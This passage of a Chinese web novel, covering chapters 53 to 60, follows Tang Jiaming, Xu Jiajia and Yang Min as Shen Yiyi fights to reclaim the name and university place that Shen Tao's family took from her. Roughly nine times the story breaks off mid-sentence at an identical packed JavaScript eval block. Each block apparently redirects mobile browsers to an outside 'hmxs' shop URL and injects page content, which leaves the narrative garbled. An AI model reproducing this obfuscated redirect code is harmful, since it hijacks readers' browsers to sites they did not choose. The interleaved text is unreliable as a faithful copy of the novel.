“你不觉得这是个笑话吗？其实沈婷婷身边的人，在乎的并不是沈婷婷的选择。他们担心焦虑的是对自己的影响。” “我们就这样，放任沈婷婷不管吗？” 杨敏笑了。 “你笑什么？” “我笑你把自己的生活过得一团乱，居然还有心情关心沈婷婷。” “你是不是自己生活都过不好的人，就没有资格关心他人？” “按照你的逻辑，是不是穷人只要活着就好，没有资格渴望美好。坏人只要改正错误就好，没有资格谈论这个世界所谓的良知还有正义。” “杨敏，你现在坐在我的面前，我可以反驳你的话，指出你的观点是错误的。事实上，世界上大多数的人都会认为这个观点是错误的而且是反人性的。但是，世界上大多数的人为了自身的安全还有舒适，他们自觉或者不自觉地行动着。” 沈婷婷的奶奶哭着骂着离开了。沈婷婷蹲在地上，头埋在臂弯里，肩膀一耸一耸，她哭得很厉害。 路人在叹息。“这又是何苦呢。自讨苦吃。” 突然间，唐家明不确定了。 “沈婷婷会不会改变主意呢？” “是啊。你也想到了。她会不会改变主意呢？会不会觉得不顾一切的抗争是个笑话。会不会觉得从现在开始放弃回到家里，做奶奶的乖孙女，心安理得享受沈涛恩赐的好处更实在更轻松呢？如果按照徐佳佳的计划，一步一步争取自己的权益，看着恩人身败名裂甚至去坐牢，看着恩人的女儿前途尽毁，看着亲人伤心欲绝离她而去。你说，如果真有那么一天，沈婷婷的执念成真，沈婷婷成功了，变回了沈依依，一个众叛亲离，千夫所指的沈依依，她是会接受现实，这是纠正错误必须付出的代价。还是会责怪徐佳佳还有你，是你们的介入，让她陷入了悲惨。” 唐家明不敢保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729776|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这么多年过去了，他仍然无法相信那个冷血的杀害无辜者的男人，是他的亲生父亲。既然如此，他又怎么能够相信沈婷婷呢？沈婷婷于唐家明而言，也不过是个陌生人。 唐家明感觉到了悲伤。 “沈婷婷会放弃吗？” “沈婷婷放弃自己的名字对你很重要吗？” “我希望她能坚持下去。我亲眼看到她自杀，看到她一字一句对我说。她不怕死，她只怕死后的墓碑上刻着的是别人的名字。就是这句话，就是这一句，我愿意堵上一切，前途，信念甚至生命，我想要帮助她找回自我。” “那就要问一问你自己了，唐家明，你到底是想要帮助沈婷婷找回自我，还是在拯救你自己。是不是沈婷婷坚持下去找回自我，你才会对这个世界多一点信心。是不是五年前，我们勉强在一起了，你才会觉得自己是一个好人。唐家明，你的人生，为什么希望总是在别人身上？你自己呢？你到底是什么样的人？你有没有想过，寻找属于你自己的幸福，还有爱情。发自内心想要亲近一个人，想要时时刻刻一辈子跟一个人在一起，只要一想到这个人，幸福的感觉就会扩散到身体的每一个细胞。唐家明，你有没有过这样的感觉？” 唐家明站在律师事务所的门口。他知道，他不应该来找徐佳佳。但是，他只是想明白了一个道理，他渴望见到徐佳佳。如果现在不是白天，是无人的夜晚，他会按捺不住自己的冲动，他会用尽全身的力量，紧紧地抱住徐佳佳。此生此世，不再分开，不再放手。他痛恨他自己，为什么过去了这么多年，他才想明白这个道理。他的脑子里也会闪现那一点点的念头，杨敏会怎么想？杨敏会怎么对付他？他现在的冲动会带来怎样的后果？但是，很快，马上，他毫不犹豫地让那些扫兴的念头消失了。他不想要后果，他只想要徐佳佳。 53. 第 53 章 这真是可怕的念头。 事实上，几年前在唐家明和杨敏的自以为是的爱情时光里，他们谈论了很多，结婚以后什么时候生孩子，孩子应该怎么抚养，在哪里上学，双方的老人家怎么照顾，甚至是房子装修成什么样的风格，他们都商量好了。也不算是商量。杨敏说北欧风既简单又干净。唐家明就立刻表示同意，行，那就北欧风吧。即便他在心里会觉得北欧过于冷清寂寞。渴望那种杂乱无章但是热闹的感觉。他们的拥抱亲吻还有□□都是充满的仪式感的。他的墙上有一本日历，日历上记录着恋爱的进程。三个月了，该牵手了，六个月了，该亲吻了。亲吻是蜻蜓点水式的。唐家明是万万不敢冒犯杨敏的。□□是杨敏提议的。唐家明既惊讶又觉得其实是理所当然，水到渠成的。每年的冬天，寒冷的日子，唐家明都会做梦，梦到自己回到了那家小旅馆。 那是一家荒凉的小旅馆，又是冬天，外面下着雪，冷极了。唐家明和杨敏不想出门，一直窝在酒店里。第一个晚上，他们一个睡床一个睡沙发，两个人翻来覆去的都睡不着。第二个晚上，唐家明在沙发上铺被子的时候，杨敏问他是不是后悔了，后悔跟她在一起。为了表示自己没有后悔，他们两个人睡到了床上，盖着一床被子。不说话也不敢动。第三天，杨敏说要不我们分手吧，这恋爱实在是谈得没意思。为了让杨敏打消分手的念头，唐家明大着胆子缓慢地解开了杨敏的衣服。那时候外面天还亮着，下着雪，窗外的世界雪白雪白，少女的肌肤也是雪白一片。唐家明停了下来。他害怕了。 □□，本是源于人类的本能，本是发自内心最深处的冲动。唐家明和杨敏，却是给□□穿上了道德的大棉袄。严严实实很沉也很重，但是非常暖和，适合寒冷的冬天。他们孤注一掷，寄希望于不知羞耻的方式建立一辈子最安全也最稳定的同盟。 唐家明停下来。不管怎么说，那个瞬间，唐家明真的后悔了。那种后悔太过伤人，他没有勇气承认也不敢在杨敏面前表露出来。 杨敏飞快地拉上了窗帘，厚厚的窗帘挡住了外面的世界，屋子里黑暗一片。黑暗中，唐家明能听到杨敏急促的呼吸声。她也很紧张。她的手在发抖。但是无论如何，她还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729777|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管不顾，不知羞耻调动了他的本能，让他冲动起来。 过程是痛苦而混乱的。唐家明感觉到杨敏的眼泪映在了他的肌肤上。杨敏并不象她表现的那样坚强。他想狠狠地打自己一记耳光。不，这不够，远远不够，他应该用尽全部的力气把自己的脑袋撞向墙壁。他到底在做什么？他是怎么把一个无辜的女孩逼到这个份上的。 唐家明审问了自己的灵魂很多年。父亲的自私和卑劣是不是也在他的身体里存在着。杨敏的眼泪让他没有了退路，他暗暗地对自己说就当一辈子没有活过，就拿这一辈子赎罪吧。他发誓，他会用一辈子让杨敏不再流泪。 唐家明的誓言成了空。杨敏抛弃了他以后，他的人生成了一个笑话。他从来没有想到，他有过一个孩子。他一直以为那不过杨敏为了抛弃他而编织的谎言。他没有想到，他真的有过一个孩子。他这样的人，居然有过一个孩子。 唐家明冷静下来，环顾四周，这才意识到自己陷入到了另外的一个困境。 这是酒店的房间，他紧紧地拉着徐佳佳的手，他们坐在床边。 54. 第 54 章 感觉到了自己的卑劣，难堪之后，唐家明结结巴巴地跟徐佳佳道歉。 “对不起。”他无法面对徐佳佳，只想用最快的速度逃离房间。但是徐佳佳的动作比他还快。她的身体靠在门上，挡住了逃跑的路线。 “佳佳。”唐家明不明白。 “为什么带我来这里？”徐佳佳问。 “我不知道。” “为什么逃跑？” “这样，这样是不对的。”唐家明窘迫得要死。 “你喜欢我吗？”徐佳佳突然问了个问题。 “什么？”唐家明疑心自己听错了。 “你爱我吗？”徐佳佳重复的时候，更加直接。 唐家明是知道这个问题的答案的。但是，他也意识到，这个答案他是说不出口的。我们生活的文明社会，是一个用道德和教养掩盖本能冲动的时代。我们是高等的人类，耻于承认源于动物的本能。 徐佳佳等不来唐家明的答案，只好决定用行动来寻找答案。她踮起脚尖，勾住唐家明的脖子，吻住了他的嘴唇。她的吻简单而粗暴，她的牙齿甚至咬破了他的嘴唇，咸腥的味道缠绕在他们周围，既是痛楚，也是刺激，激发了唐家明男性的本能。他试图拿回主控权，她也不甘示弱，重重地咬住他的下唇。这是一场势均力敌的较量。 嘴唇，有着人体最薄的皮肤组织，它的敏感程度，它的本能反应是手指的两百倍。它是人类裸露在外的最直接也是最体面的□□官。 徐佳佳和唐家明，他们通过亲吻，通过身体的反应已经找到了答案，男人和女人，女人和男人，那些他们说不出口，无数理直气壮的理由埋藏压抑在心底，遥远得以为永远也不会获得的答案——其实他们早已心知肚明。这个世界从来就不缺少爱，缺乏的永远都是勇气，面对的勇气，承认的勇气，攫取的勇气。 亲吻给了唐家明勇气。 “佳佳，我们重新开始吧。我知道以前做错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729778|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 徐佳佳沉默了很久。 “你已经把我们之间的爱情牺牲过一次了。唐家明，你能不能保证，你不会再牺牲第二次？” 是啊，这就是真正的问题了。当一份感情，一个有血有肉活生生的人，被认定是可以牺牲的，当他们被牺牲过一次之后，他们的恐惧无疑就成了最真实的存在——他们必须要恐惧再次被牺牲的可能性。这样的恐惧，一生一世，都会存在。 突然之间，唐家明明白了杨敏的决绝，杨敏的承诺。杨敏要保护徐佳佳的原因。对于徐佳佳来说，最大的伤害不是暴力不是虐待，而是在她的人生里，一次又一次，无论是徐盛还是唐家明，都没有把她当成一个有血有肉有感情会伤心会痛苦的人，都只是认为她是一个选项，一个可以被牺牲，可以被放弃的选项，无论是前途还是爱情。 与其说徐佳佳在寻求答案，不如说她用最直接最残忍的方式，捅破了那层写着正义和善良的窗户纸。 55. 第 55 章 唐家明对徐佳佳的爱有多深，他对她的伤害就有多深。 徐佳佳被牺牲，爱情被牺牲的时候，唐家明更多地感受到的是自身的痛苦。人们被自己的痛苦困住的时候，他人的痛苦甚至是绝望，很容易被忽略。对此，我们还要增加一句，不要期待一个把自己生活过得混乱不堪的人的爱情，不要期待那样的爱情会有一个未来。当然我们也有可以用来安慰自己的地方，如果我们陷入了那样的一段爱情，至少是证明了，我们自己的生活没有混乱不堪，我们还有能力去同情去怜悯去付出，去经营一份爱情。如果爱情的世界不期待回报就能让自己满足获得幸福的话，那也是一种生活方式。 徐佳佳点燃了一支烟。她的指甲和牙齿洁白而漂亮，不象是有烟瘾的人。 “香烟真的是让人爱又让人爱。燃烧的时候很好看，味道也很好闻。等过了一夜，就臭得令人恶心想吐。” “唐家明，我很想做一件事。就是把这支点燃的香烟按到你的胸口，靠你心脏最近的地方，烫出一个深深的伤疤。阳光下，伤疤会更清晰。下雨天，伤疤会痛，痛不欲生，这一生一世你都摆脱不了。” “你可以这样做的。”唐家明是心甘情愿的。 徐佳佳摇头，摁熄了香烟。 “如果我真的这样做了，我跟我的父亲又有什么区别呢？”徐佳佳说。 “如果我们只想着自己的痛苦，用自己的痛苦去伤害折磨他人。我和我的父亲，你和你的父亲，我们和他们，区别又在哪里呢？难道我们在绝望和痛苦中挣扎了那么久，就是为了活成我们最讨厌的样子，变成我们最憎恶的人吗？”徐佳佳继续在说。 “唐家明，你知道我为什么会喜欢上你吗？” “你长大了，有了足够的力量打败你的父亲，带着你的母亲离开了你的父亲。我呢，我哪一件都没有做到。我对受苦的母亲无能为力。我努力了很多年，好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729779|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易认为自己足够坚强足够厉害，雄心勃勃地计划去打败我的父亲的时候，他却病入膏肓，成了动动手指头就能戳倒的垂死之人。唐家明，你说你的人生没有出路，你说你一辈子都摆脱不了杀人犯的儿子这个标签。但是你知不知道，我是多么地羡慕你，伤害你的人，你拥有反抗的机会，实施并且成功了。那样的人生，是何等的痛快满满的喜悦。你居然看不到，你居然随手抛弃。” “你看看，这就是我们的生活世界。我的痛苦是父亲的暴行，杨敏的痛苦是失去了父亲。这样一对比，我比杨敏幸福。现在呢，你的执念对比我的执念，你成了那个幸福的人。唐家明，不要再爱我了。爱你自己吧。把你自己爱护好了，就是停止了对我的伤害。” 徐佳佳离开之后，房间里仍然弥漫着淡淡的烟味。好像是亲吻过的嘴唇。这是一种美好的感觉，一种被珍惜，被呵护，被羡慕的美好的感觉。这是人类活着的感觉，这是幸福的味道。 56. 第 56 章 我们为什么会感到幸福呢？一位无家可归的流浪汉拥有了一间属于自己的陋室。一位只有陋室的穷人辛苦工作多年之后换上了大房子。给寒冷的人一件温暖的大衣，给饥饿的人一顿饱饭。 幸福可以是最简单最直接的。 幸福也可以是自私并且充满着恶意的。 一个没有鞋子的人在哭泣，直到他看到了失去了双脚的人。他感觉到了拥有双脚的幸福。是的，没有鞋子的人感到了幸福，那么，失去双脚的人，他们的幸福呢？没有鞋子的人是故事里的主角，我们关心的是他的幸福。至于那个失去了双脚的人，对于配角，我们常常是忽略的。 唐家明因为拥有李庆这样的父亲以为自己失去了获得幸福的资格。徐佳佳却是在羡慕他的人生拥有过打败李庆的机会。 唐家明远远地站着，看着沈婷婷。换一个思路，换一个方向，是啊，就象是徐佳佳在羡慕他一样，他在羡慕着沈婷婷。沈婷婷的事情，他有同情心，也有正义感，他甚至认为凭着自己的力量解决沈婷婷的问题并不是一件不可能的事情。但是，他去找了徐佳佳。他说服了徐佳佳，其实也是说服了他自己，沈婷婷的不幸某种程度而言，成就了唐家明再一次接近徐佳佳的机会。毫无疑问，唐家明是自私的。也是毫无疑问，唐家明的自私，让他的人生转换了方向。 “你是对的。杨敏，这是沈婷婷的事情，我们可以帮助她，可以保护她，但是我们不能代替她作出选择。妥协也好，抗争到底也好，选择舒适是对的，选择艰难也是对的，只要是她自己的选择，那就都是对的。她的人生。不管什么人，父母，朋友，热心的陌生人，都无权决定他人的人生。沈婷婷现在有多艰难，有多痛苦，那么这件事过去之后，她漫长的人生里，每每回想这一次的经历，她就有多庆幸，就多么地有成就感。自己的苦难，即便是跪着，即便是爬着，她是靠着自己的力量扛过去的。如果她的智慧再多一些，她会找到那个经历了痛苦之后更好的自己。” “我们总是在假设，假设我们自己是一个善良的人，一个正义的人，一个知识渊博充满着智慧的人，如果我们把自己的生活过得一团乱了，那不是我们的错，是别人的错。更加可笑的是，即便我们自己的人生过得一团乱了，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729780|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然认为，我们有权利对别人的生活指手画脚，我们有权利决定别人选择我们所认为的更好的生活。” “唐家明，你认为你自己是一个怎样的人？”杨敏问。 “你是问从前，还是现在？” “先说说从前吧。”杨敏狡猾地笑了。 唐家明也笑了，有些不好意思。有些惭愧的味道。 “从前，其实这个从前并不是那么遥远，昨天以前，我不仅认为自己是个好人，还是个高尚的人。是啊，我有很理由觉得自己很高尚。我有那样的父亲，没有变成坏人恶人罪犯，难道还不够高尚吗？我努力学习，孝顺母亲，尽我的一切力量，不管多苦多累，哪怕是牺牲我自己也在所不惜，补偿你和徐佳佳，弥补我父亲的罪恶。我总是在想象，有朝一日你和徐佳佳因为我的努力过上了幸福快乐的生活。我想象的时候，就越发觉得自己是个高尚的人。” “是啊，这么说来，你不仅是一个好人，还是一个品德高尚的人。你只是忘了，你是个人。” 唐家明叹息着。“是啊，我只是忘了，我也是个人。我原来还是个人。” 57. 第 57 章 沈婷婷站在派出所门口的第七天，沈涛不得不出现在现场。之所以说“出现”，而不是“来到”，是因为在此之前，他已经“来到了”，并且是不止一次。他观察着周围的环境，发现来围观的人越来越多。镇上的议论也越来越多。他们只是在闲谈，茶余饭后的人生乐趣，既是善良也是正义。他们中间有人在骂沈婷婷是白眼狼。沈涛对这个结论还是满意的。有个年轻人糊涂冲动，说了一句。 “考上大学的人明明是沈依依，怎么能让沈婷婷去呢。” 另一个年轻人也在小声说话了。“这样做是不对的。欺负一个没有父母的小姑娘。” 马上有人愤怒地反驳了小声说话的年轻人。“这怎么能叫欺负呢。要是没有沈涛，沈依依早不知死多少回了。” 愤怒的人站起身来，指着小声说话的年轻人的鼻子，慷慨激昂地列举了沈涛对沈依依的恩情。从沈依依的父亲去世，葬礼是沈涛出钱出力。沈依依从小身体不好，三天两头去医院，无论白天黑夜风里雨里，都是沈涛接送的。 另外一个人也站起身来，义愤填膺地作出了结论：但凡沈依依还有一点良心，她应该主动把上大学的名额让出来。 两个年轻人明显不服气，他们也想站起来说点什么。 但是，有人的说话声更大，给这件事作出了最后的结论：沈涛抚养沈依依这么多年，还不如养一条狗。养条狗给狗饭吃狗会知道忠于主人会冲着主人摇尾巴，不会反咬主人一口。 沈涛是熟悉这些人的。他们都是在这个镇子里长大的，都在这个镇子住着。沾着亲带着故，或是打小在一个学校念书的同学朋友，或是因为结婚生子建立了亲戚关系。这些人，是沈涛最坚强的后盾。沈涛自信满满出现在沈婷婷的面前。 “婷婷，跟我回家吧。” 一脸倔强的沈婷婷，沈涛只需要看上一眼，就不由得怒火中烧。他对她还不够好吗？但是，他必须要严格地控制自己。已经有熟人跟他暗示打过招呼了。让他好好跟沈婷婷谈谈。不要把事情闹大，闹大了对所有人都不好。 “我叫沈依依。”沈婷婷还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729781|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一句。她低着头死死地看着脚尖。她连抬头看一眼沈涛的勇气都没有，担心自己会害怕会妥协。 “婷婷，我们到底是一家人，有什么事我们回家说好不好。我还能害你不成。” “我叫沈依依，我不是你的女儿。我们不是一家人。你的女儿顶着我的名字去上了大学。我也不想责怪谁。你对我好我是知道的。我谁也不怨，我什么也不想要。你给我安排工作我不想要。你给我介绍的相亲对象我也不想要。我就想要我的名字。我就不想跟你做一家人。” 沈婷婷仍然没有抬头。但是，她把心里的话说出来了。 围观的人越来越多。唐家明和杨敏在一旁站着。徐佳佳也来了，她在沈婷婷身后站着。 其实，这里所有的人都是心知肚明的。那个低着头不敢看沈涛一眼的女孩，她的名字叫作沈依依。她生下来，她的母亲给了取了这个名字，意思是依依不舍。沈涛的亲生女儿，叫做沈婷婷，意思是亭亭玉立。 但是，这里所有的人，都对这个错误保持了沉默。 58. 第 58 章 沈涛并不是真正明白低头，沉默背后的含义，他觉得内心充满了委屈和愤怒。他必须要大声地说出来。 “沈婷婷。”沈涛一开口就被打断了。 “沈依依，我叫沈依依。”女孩固执地重复着这句话。七天，站得太久让她的大脑一片空白。太阳很大，她感觉自己随时都有可能倒下去。但是她不能倒，怎么也不能倒。 “好，沈依依！你就只想着你是沈依依，你只想做沈依依，那你有没有替别人想过，替你的奶奶想过，她都七十多岁的人了，你去上大学，她怎么办？让她一个人留在镇上吗？生病了谁来照顾？磕伤碰伤了谁来管！你奶奶就你一个亲人！你不管她谁来管！” “我替你打算得还不够吗？给你安排了工作，在景区收费站收费，又清闲又体面。风吹不到雨淋不湿。多少人读完了大学回来都找不到这么好的工作！你知道让你能这个工作，我跑了多少趟求了多少人吗？” 沈涛说得激动，重重地拍着自己的脸象是在打自己耳光的样子。 “我这一辈子就活这一张脸，没想到打你脸的人是我。沈依依，我对你还不够好吗！给你安排了工作不够，还给你介绍的相亲对象，挑了又挑选了又选，最后挑中的是我爱人娘家侄儿，人家还是堂堂正正的大学生。哪点配不上你了，哪里得罪你了你要这么闹腾打我的脸！” 唐家明首先认识的人是沈依依。是的，既然沈涛已经承认了，我们就让这个问题姑且有个答案吧。那个不知好歹的，闹腾的白眼狼姑娘，她的名字就叫沈依依。 唐家明是在那样的惊心动魄之下认识的沈依依。为此他还做过几次恶梦，他的梦一开始是黑白的，医院的病房，看不到尽头的走廊，两边都是病房，病房都是惊声怪叫，手舞足蹈的精神病人。鲜红的血，沉重，粘稠，从那看不尽的走廊的另一头漫延过来，如同火山爆发之后缓慢推进的岩浆。唐家明在走廊里奔跑，用尽全部的力气。他渴望阻止那岩浆，那鲜血——他从梦中醒来，既愤怒又放心。沈依依还活着，沈涛必须要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729782|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他的行为负上责任。 但是，此时此刻，唐家明又不那么确定了。沈涛是个坏人吗？沈涛所做的一切真的完全是出于自私吗？沈依依真的是对的吗？ 围观的人，包括沈依依自己都没有站出来反驳沈涛的话。也就是说，沈涛说的都是真的，他是真心在替沈依依打算，如果沈依依不是选择做一个不知好歹的白眼狼，如果沈依依选择了通情达理，对她好的人给她安排的她所能获得的最舒适最好的人生，唾手可得。 杨敏站在唐家明的身边。五年前，如果他们两个人，足够聪明，足够通情达理，不是无理取闹，精心安排的最舒适最好的人生也是唾手可得。 “杨敏，你说，你说这个世界上谁才是真正的疯子？沈涛那样的人？还是沈依依那样的人？” “唐家明，你是心理医生，这个问题你不应该问我。” “好吧。那你觉得五年前，我们一起计划着结婚生子过安稳舒适的生活，到底是因为太过清醒还是因为已经疯了？” 59. 第 59 章 杨敏没有回答。 但是唐家明既然提出了这个问题，就已经什么都明白了：人们都是狂妄自大并且看不清界限的。首先，只是想做一件的正确的事，帮助他人度过一次困难。然后是一件接着一件自以为正确的事，改变他人的命运。最后是一辈子自以为是的正确，控制他人的人生甚至决定他人的生死。假如我们每个人的心中都有无所不能的英雄，一个无限崇拜的偶像，一个至高无上的神，换句话说，我们的内心也是在渴望着成为那样的英雄，偶像，或者是神。 因为沈涛对沈依依有莫大的恩情，不管在他人的印象里，还是沈涛的内心深处，都把沈依依当成沈涛的另一个女儿。施恩之人与接爱恩惠的人，父母之于子女，亲密无间的恋人甚至夫妻，我们总是无法理智地划分出一个界限来。 我们身陷其中，看不清也道不明，何为正确，何为错误，何为自己的命运，何为被他人影响的命运，何为被他人决定的命运。 沈依依在派出所站在一个星期，奶奶过来打了她，沈涛过来正义凛然地责骂了她。警察没有立案，只是在劝她，回家去，跟家里人好好商量，一家人过日子哪里会没有矛盾的，血浓于水什么问题都能解决。 于是，她什么都明白了：要成为真正的沈依依，要把命运握在自己的手里，只有跟过去彻底决裂。眷恋的亲人，善良的长辈，友好的朋友，对她而言不是帮助而是拖累。 现在，摆在沈依依面前的只有一个选择。她握住了徐佳佳的手。 “佳佳，你帮我。” “你想做什么？” “我要报案。”沈依依说，“你能不能陪着我去派出所报案。” “你想告谁？” “我要告沈涛，还有沈涛的妻子，沈涛的妻子是中学老师，他们夫妻二人利用职务之便，调换我和沈婷婷的身份。沈婷婷是他们的亲生女儿。她顶替我的名字在北京上大学。” “你有证据吗？” “有。我们只需要调出高考试卷就行了。核对试卷上的笔迹结果马上就可以出来。” “如果不报案，你现在可以去沈涛家里，跟他谈判，找他要补偿，你甚至不用愧疚，那是你应得的。如果报案，正式启动法律追责程序，除了沈依依这个名字，除了忘恩负义白眼狼这个标签，你什么也得不到。沈涛和沈涛的妻子会被开除公职，坐牢。沈婷婷也会被大学开除。我说过，这个案子并不复杂。” “沈涛和他的妻子都要坐牢？” “是的，都要坐牢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729783|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我记得很久以前我就告诉过你。” “我想做沈依依。” “对，你一直重复这句话。沈涛和他家人得到什么样的惩罚，你闭口不谈。” “他们是我的恩人，沈涛。我从来没有见过我的亲生父亲，我心里，一直都是把沈涛当作父亲的。他是那么的高大，正直，无所不能。他那样的人，怎么能去坐牢呢？不会的，他一定会有办法的。佳佳，沈涛一定有办法的，是不是？他们一家人，会没事的。” “沈依依，你到现在还在问我这个问题。你在做什么呢？沈涛一定会坐牢，不管你愿不愿意，他犯了法就必须要承担责任。这样的话，你不是没有想过，你只是想让我说出来，把选择的权利交给我，让我帮你选择，然后你成为那个被迫的，不得不服从选择的人。那么，你的良心就获得了安慰。你是身不由己，沈涛和他家人最后落得怎样凄惨的下场，都跟你没有关系？” 徐佳佳的话冷酷无情。 沈依依迷茫了。“我是那样的人吗？佳佳，你们一直在帮我，为什么我会变成那样的人？你们后来不愿意帮我，是不是因为看透了我。是啊，乡亲们是对的，我奶奶是对的，沈涛也是对的，其实我就是一个忘恩负义的白眼狼！他们都是对的。” 60. 第 60 章 善良的人们常常陷于类似的自我审查。又或者说，我们打开电视电脑，时时刻刻都有类似的文章，孩子很弱小，孩子很容易受到伤害，孩子不安全，孩子以后怎么办父母老了，父母很孤单，父母很寂寞， 年轻时我们想一想未知的将来都会热血沸腾，但是回头看一眼父母依依不舍而且不再年轻的容颜，如果你是善良的，如果你不是足够自私的，你会愧疚会难受，那么恭喜你，你是正常的人类。 年轻人有年轻人的执念，长辈们有长辈们长达一辈子的生活智慧，是选择自己的生活，还是顺从长辈们的生活智慧，生活规则，是做一个舒适的规则宠儿，还是头破血流的叛逆者？ 自我和善良，对于我们每一个人来说，都是硬币的两面。自我是抗争，善良是妥协。抗争还是妥协。 三十八岁事业有成计划去远方，那么，我们是否愿意为了父母亲人，亲密爱人放弃自己的人生呢？如果不愿意，我们是不是太自私？如果愿意，我们会不会后悔？我们会不会因此心生怨念？我们会不会因为怨气，愤怒而失去自我变成另一个人？ 如果沈依依足够自私，她就不会迷茫，不会陷入自我审查，审查自己到底是不是一个白眼狼。如果沈依依足够坚强，她就不会痛苦，她只会愤怒，愤怒于别人从她手里抢走的东西，忘记别人曾经给予过她的东西。 抢夺和给予是不会交集的白天和黑夜。被抢夺带来的是愤怒，被给予带来的是快乐。单纯的愤怒，单纯的快乐。 当沈依依执着于只是拿回沈依依这个名字，而不是让沈涛受到惩罚。她幻想着拿回了沈依依这个名字之后，她和沈涛的关系还能回到从前。沈依依渴求的亲情，爱与关怀，还有一生一世的安全感，都隐藏在规则之下。她太过贪婪，想要太多，要自己，还要成为规则的宠儿。 “我希望沈依依做一个白眼狼。”唐家明说。 “沈依依成为白眼狼对你很重要吗？” “是的。我们的计划很完美，我们的努力也是真心的，但是那种努力的生活，努力去弥补所谓犯下的错误。不过是一层遮羞布，你和我都是胆小鬼。我们就象是被饥饿支配的松鼠，毫无节制地储备冬天的粮食。事实上，我们储备的粮食已经足够将我们撑死。我们仍然不满意不满足。我们需要填饱的不是肚子，是我们的恐慌，永远的永远无法停止的恐慌。” 